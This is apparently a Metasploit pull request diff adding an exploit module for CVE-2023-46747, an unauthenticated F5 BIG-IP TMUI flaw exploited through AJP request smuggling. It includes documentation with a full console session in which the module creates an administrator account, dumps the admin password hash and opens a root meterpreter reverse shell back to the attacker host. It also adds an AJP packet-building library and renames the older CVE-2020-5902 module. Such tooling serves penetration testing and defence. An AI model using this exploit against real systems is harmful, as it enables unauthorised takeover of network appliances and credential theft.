Add Exploit For CVE-2023-46747 (F5 TMUI AJP Smuggling RCE)

documentation/modules/exploit/linux/http/f5_bigip_tmui_rce.md → documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902.md

@@ -52,11 +52,11 @@ Defaults to `/tmp`.
 ### F5 BIG-IP 14.1.2 in VMware Fusion
 
 ```
-msf5 > use exploit/linux/http/f5_bigip_tmui_rce
+msf5 > use exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902
 [*] Using configured payload linux/x64/meterpreter/reverse_tcp
-msf5 exploit(linux/http/f5_bigip_tmui_rce) > options
+msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > options
 
-Module options (exploit/linux/http/f5_bigip_tmui_rce):
+Module options (exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902):
 
    Name       Current Setting  Required  Description
    ----       ---------------  --------  -----------
@@ -87,11 +87,11 @@ Exploit target:
    1   Linux Dropper
 
 
-msf5 exploit(linux/http/f5_bigip_tmui_rce) > set rhosts 172.16.249.179
+msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > set rhosts 172.16.249.179
 rhosts => 172.16.249.179
-msf5 exploit(linux/http/f5_bigip_tmui_rce) > set lhost 172.16.249.1
+msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > set lhost 172.16.249.1
 lhost => 172.16.249.1
-msf5 exploit(linux/http/f5_bigip_tmui_rce) > run
+msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > run
 
 [*] Started reverse TCP handler on 172.16.249.1:4444
 [*] Executing automatic check (disable AutoCheck to override)

documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md

@@ -0,0 +1,76 @@
+## Vulnerable Application
+
+### Description
+
+This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external,
+unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new account to
+execute a command payload.
+
+Tested against the VMware OVA release of 16.1.2.1-0.0.10 and 17.0.0.1-0.0.4.
+
+### Setup
+
+Download BIGIP-17.0.0.1-0.0.4.ALL-vmware.ova and import it into your desired virtualization software.
+
+The target does not need to be licensed to be vulnerable.
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Do: `use exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747`
+4. Set the `RHOST`, `PAYLOAD` and payload-related options
+5. Do: `run`
+6. You should get a shell.
+
+## Targets
+
+### Command
+
+This executes an OS command on the target device.
+
+## Options
+
+## Scenarios
+
+### F5 BIG-IP 17.0.0.1-0.0.4
+
+```
+msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set RHOSTS 192.168.159.32
+RHOSTS => 192.168.159.32
+msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
+PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
+msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > set LHOST 192.168.159.128 
+LHOST => 192.168.159.128
+msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > check
+[+] 192.168.159.32:443 - The target is vulnerable.
+msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > exploit
+
+[*] Started reverse TCP handler on 192.168.159.128:4444 
+[+] Admin user was created successfully. Credentials: UyPzjB - qu0k7MxIzIDlvS
+[+] Retrieved the admin hash: $6$gquMefr5$HGA8j7xLzHq2cfZOSudg6g6vETPpHthWOSWJtCtYd1sWRoNGCLnAQKbRvQoRm1QgEm8fC3HfH5tLI9KSSr8M10
+[*] Obtained login token: 4TAZKYHLZCHPQX3FC47VWNSEUA
+[*] Sending stage (24768 bytes) to 192.168.159.32
+[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.32:35438) at 2023-11-01 16:36:04 -0400
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer     : f5test2.home.lan
+OS           : Linux 3.10.0-862.14.4.el7.ve.x86_64 #1 SMP Thu Jul 14 23:41:24 PDT 2022
+Architecture : x64
+Meterpreter  : python/linux
+meterpreter > pwd
+/var/service/restjavad
+meterpreter > background 
+[*] Backgrounding session 1...
+msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > creds
+Credentials
+===========
+
+host            origin          service                   public  private                                                                                              realm  private_type        JtR Format    cracked_password
+----            ------          -------                   ------  -------                                                                                              -----  ------------        ----------    ----------------
+192.168.159.32  192.168.159.32  443/tcp (F5 BIG-IP TMUI)  admin   $6$gquMefr5$HGA8j7xLzHq2cfZOSudg6g6vETPpHthWOSWJtCtYd1sWRoNGCLnAQKbRvQoRm1QgEm8fC3HfH5t (TRUNCATED)         Nonreplayable hash  sha512,crypt  
+
+msf6 exploit(linux/http/f5_bigip_tmui_rce_cve_2023_46747) > 
+```

lib/rex/proto/apache_j_p.rb

@@ -0,0 +1,128 @@
+# -*- coding: binary -*-
+
+require 'bindata'
+
+# @see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html
+module Rex::Proto::ApacheJP
+  class ApacheJPBoolean < BinData::Primitive
+    endian  :big
+
+    uint8   :data
+
+    def get
+      self.data != 0
+    end
+
+    def set(v)
+      self.data = v ? 1 : 0
+    end
+  end
+
+  class ApacheJPString < BinData::Primitive
+    endian  :big
+
+    uint16  :len, value: -> { data.length }
+    stringz :data
+
+    def get
+      self.data
+    end
+
+    def set(v)
+      self.data = v
+    end
+  end
+
+  class ApacheJPReqHeaderName < BinData::Primitive
+    COMMON_HEADERS = %w{ accept accept-charset accept-encoding accept-language authorization connection content-type content-length cookie cookie2 host pragma referer user-agent }
+    endian :big
+
+    uint16  :len_or_code
+    stringz :data, onlyif: -> { len_or_code < 0xa000 }
+
+    def get
+      if len_or_code >= 0xa000
+        COMMON_HEADERS[(len_or_code.to_i & 0xff) - 1]
+      else
+        self.data
+      end
+    end
+
+    def set(v)
+      if (idx = COMMON_HEADERS.index(v))
+        self.len_or_code = 0xa000 | (idx + 1)
+      else
+        raise RuntimeError if v.length >= 0xa000
+
+        self.len_or_code = v.length
+        self.data = v
+      end
+    end
+  end
+
+  class ApacheJPRequestHeader < BinData::Record
+    endian :big
+
+    apache_jp_req_header_name :header_name
+    apache_jp_string          :header_value
+  end
+
+  class ApacheJPRequestAttribute < BinData::Record
+    CODE_CONTEXT = 1
+    CODE_SERVLET_PATH = 2
+    CODE_REMOTE_USER = 3
+    CODE_AUTH_TYPE = 4
+    CODE_QUERY_STRING = 5
+    CODE_JVM_ROUTE = 6
+    CODE_SSL_CERT = 7
+    CODE_SSL_CIPHER = 8
+    CODE_SSL_SESSION = 9
+    CODE_REQ_ATTRIBUTE = 10
+    CODE_TERMINATOR = 0xff
+
+    endian :big
+
+    uint8            :code
+    apache_jp_string :attribute_value, onlyif: -> { code != CODE_TERMINATOR }
+  end
+
+  # @see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes
+  class ApacheJPForwardRequest < BinData::Record
+    HTTP_METHOD_OPTIONS = 1
+    HTTP_METHOD_GET = 2
+    HTTP_METHOD_HEAD = 3
+    HTTP_METHOD_POST = 4
+    HTTP_METHOD_PUT = 5
+    HTTP_METHOD_DELETE = 6
+    HTTP_METHOD_TRACE = 7
+    HTTP_METHOD_PROPFIND = 8
+    HTTP_METHOD_PROPPATCH = 9
+    HTTP_METHOD_MKCOL = 10
+    HTTP_METHOD_COPY = 11
+    HTTP_METHOD_MOVE = 12
+    HTTP_METHOD_LOCK = 13
+    HTTP_METHOD_UNLOCK = 14
+    HTTP_METHOD_ACL = 15
+    HTTP_METHOD_REPORT = 16
+    HTTP_METHOD_VERSION_CONTROL = 17
+    HTTP_METHOD_CHECKIN = 18
+    HTTP_METHOD_CHECKOUT = 19
+    HTTP_METHOD_UNCHECKOUT = 20
+    HTTP_METHOD_SEARCH = 21
+
+    endian :big
+
+    uint8             :prefix_code, value: 2
+    uint8             :http_method
+    apache_jp_string  :protocol, initial_value: 'HTTP/1.1'
+    apache_jp_string  :req_uri
+    apache_jp_string  :remote_addr
+    apache_jp_string  :remote_host
+    apache_jp_string  :server_name
+    uint16            :server_port, initial_value: -> { is_ssl ? 80 : 443 }
+    apache_jp_boolean :is_ssl, initial_value: false
+    uint16            :num_headers, initial_value: -> { headers.length }
+    array             :headers, type: :apache_jp_request_header, initial_length: :num_headers
+    array             :attributes, type: :apache_jp_request_attribute, read_until: -> { element.code == ApacheJPRequestAttribute::TERMINATOR }
+  end
+end

modules/exploits/linux/http/f5_bigip_tmui_rce.rb → modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb

@@ -11,6 +11,8 @@ class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::CmdStager
   include Msf::Exploit::FileDropper
+  include Msf::Exploit::Deprecated
+  moved_from 'exploit/linux/http/f5_bigip_tmui_rce'
 
   def initialize(info = {})
     super(